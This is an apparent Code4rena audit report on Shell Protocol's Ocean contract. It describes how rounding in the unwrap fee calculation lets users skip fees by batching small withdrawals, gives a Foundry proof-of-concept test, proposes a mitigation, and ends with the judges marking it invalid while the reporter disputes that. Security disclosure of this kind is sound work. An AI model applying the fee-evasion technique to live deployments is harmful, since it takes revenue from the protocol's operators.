Users can unwrap assets in batches and avoid paying fees to protocol

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L864-L880 https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L978-L984

Vulnerability details

Impact

Users can unwrap their assets from The Ocean and evade paying fees to the protocol when the requested amount is smaller than the fee divisor. This happens due to a truncation of the result in the fee calculation.

Proof of Concept

This affects the _erc20Unwrap() and _etherUnwrap() functions of Ocean.sol.

This is how fees within The Ocean are calculated:

function _calculateUnwrapFee(uint256 unwrapAmount) private view returns (uint256 feeCharged) {
  feeCharged = unwrapAmount / unwrapFeeDivisor;
}

This is easily bypassable if the user performs multiple withdrawals where the amount is always smaller than the unwrapFeeDivisor. This happens due to integer truncation:

unwrapFeeDivisor = 2000
unwrapAmount = 800

result = unwrapAmount / unwrapFeeDivisor = 0.4 (fee) = 0 (after integer truncation)

In our example, this is easier to pull off with tokens with a high decimal count (for example 18) but less favorable with ones like USDC or USDT (6 deciamls) since the amount is upscaled by _convertDecimals().

Users can also withdraw everything within one transaction by creating multiple interactions where each unwrap is below the unwrapFeeDivisor treshold and executing it using the protocol's doMultipleInteractions().

Here's a POC (I used the TestCurve2PoolAdapter.t.sol file):

contract TestCurve2PoolAdapter is Test {
   ...
   function testWithdrawWithFees() public {
    address alice = makeAddr("alice");
    ERC20Mock erc20Mock = new ERC20Mock("mock", "mock", 18, 0);

    vm.prank(wallet);
    ocean.changeUnwrapFee(2000);

    erc20Mock.mint(alice, 2400);

    vm.prank(alice);
    IERC20(address(erc20Mock)).approve(address(ocean), 2400);

    Interaction memory deposit = Interaction({
      interactionTypeAndAddress: _fetchInteractionId(address(erc20Mock), uint256(InteractionType.WrapErc20)),
      inputToken: 0,
      outputToken: 0,
      specifiedAmount: 2400,
      metadata: bytes32(0)
    });

    vm.prank(alice);
    ocean.doInteraction(deposit);

    Interaction memory withdraw = Interaction({
      interactionTypeAndAddress: _fetchInteractionId(address(erc20Mock), uint256(InteractionType.UnwrapErc20)),
      inputToken: 0,
      outputToken: 0,
      specifiedAmount: 2400,
      metadata: bytes32(0)
    });

    vm.prank(alice);
    ocean.doInteraction(withdraw);

    // 2400 / 2000 = 1.2 = 1 fee amount after truncation
    assert(erc20Mock.balanceOf(alice) == 2399);
  }

  function testWithdrawWithoutFees() public {
    address alice = makeAddr("alice");
    ERC20Mock erc20Mock = new ERC20Mock("mock", "mock", 18, 0);

    vm.prank(wallet);
    ocean.changeUnwrapFee(2000);

    erc20Mock.mint(alice, 2400);

    vm.prank(alice);
    IERC20(address(erc20Mock)).approve(address(ocean), 2400);

    Interaction memory deposit = Interaction({
      interactionTypeAndAddress: _fetchInteractionId(address(erc20Mock), uint256(InteractionType.WrapErc20)),
      inputToken: 0,
      outputToken: 0,
      specifiedAmount: 2400,
      metadata: bytes32(0)
    });

    vm.prank(alice);
    ocean.doInteraction(deposit);

    uint256[] memory tokenIds = new uint256[](3);
    Interaction[] memory interactions = new Interaction[](3);

    for (uint256 i = 0; i < tokenIds.length; i++) {
      tokenIds[i] = _calculateOceanId(address(erc20Mock));
      interactions[i] = Interaction({
        interactionTypeAndAddress: _fetchInteractionId(address(erc20Mock), uint256(InteractionType.UnwrapErc20)),
        inputToken: 0,
        outputToken: 0,
        specifiedAmount: 800,
        metadata: bytes32(0)
      });
    }

    vm.prank(alice);
    ocean.doMultipleInteractions(interactions, tokenIds);

    // 800 / 2000 = 0.4 = 0 fee amount after truncation
    assert(erc20Mock.balanceOf(alice) == 2400);
  }
}

// ERC20 Mock contract used for the tests
contract ERC20Mock is IERC20 {
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 public totalSupply;

  mapping(address => uint256) public balances;
  mapping(address => mapping(address => uint256)) public allowances;

  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
    name = _name;
    symbol = _symbol;
    decimals = _decimals;
    totalSupply = _totalSupply;
  }

  function balanceOf(address account) external view override returns (uint256) {
    return balances[account];
  }

  function transfer(address recipient, uint256 amount) external override returns (bool) {
    balances[msg.sender] -= amount;
    balances[recipient] += amount;
    return true;
  }

  function allowance(address owner, address spender) external view override returns (uint256) {
    return allowances[owner][spender];
  }

  function approve(address spender, uint256 amount) external override returns (bool) {
    allowances[msg.sender][spender] = amount;
    return true;
  }

  function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
    balances[sender] -= amount;
    balances[recipient] += amount;
    allowances[sender][msg.sender] -= amount;
    return true;
  }

  function mint(address account, uint256 amount) external {
    balances[account] += amount;
    totalSupply += amount;
  }
}

Tools Used

Manual Analysis

Recommended Mitigation Steps

Introduce a minimum withdrawal amount based on the value of unwrapFeeDivisor. The value should be upscaled or downscaled based on the decimal count of the wrapped token.

Assessed type

Decimal

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #31

[c4-judge]

0xA5DF marked the issue as unsatisfactory: Invalid

[0xNentoR]

@0xA5DF @raymondfam Thank you for judging this. In my opinion, this is definitely an issue and displays a wider problem that the primary issue it was linked to. While the root cause is the same, it doesn't convey the same impact. What I'm proving here is that any user is able to unwrap their assets without paying fees EVEN IF the total amount they want to unwrap is larger than the value of unwrapFeeDivisor. This is definitely griefting since the exploit is possible with any amount of tokens: implicitly with unwrap amount smaller than unwrapFeeDivisor (the linked issue), and explicitly with larger amounts through the exploit I've demonstrated here.

[0xA5DF]

See the discussion on #234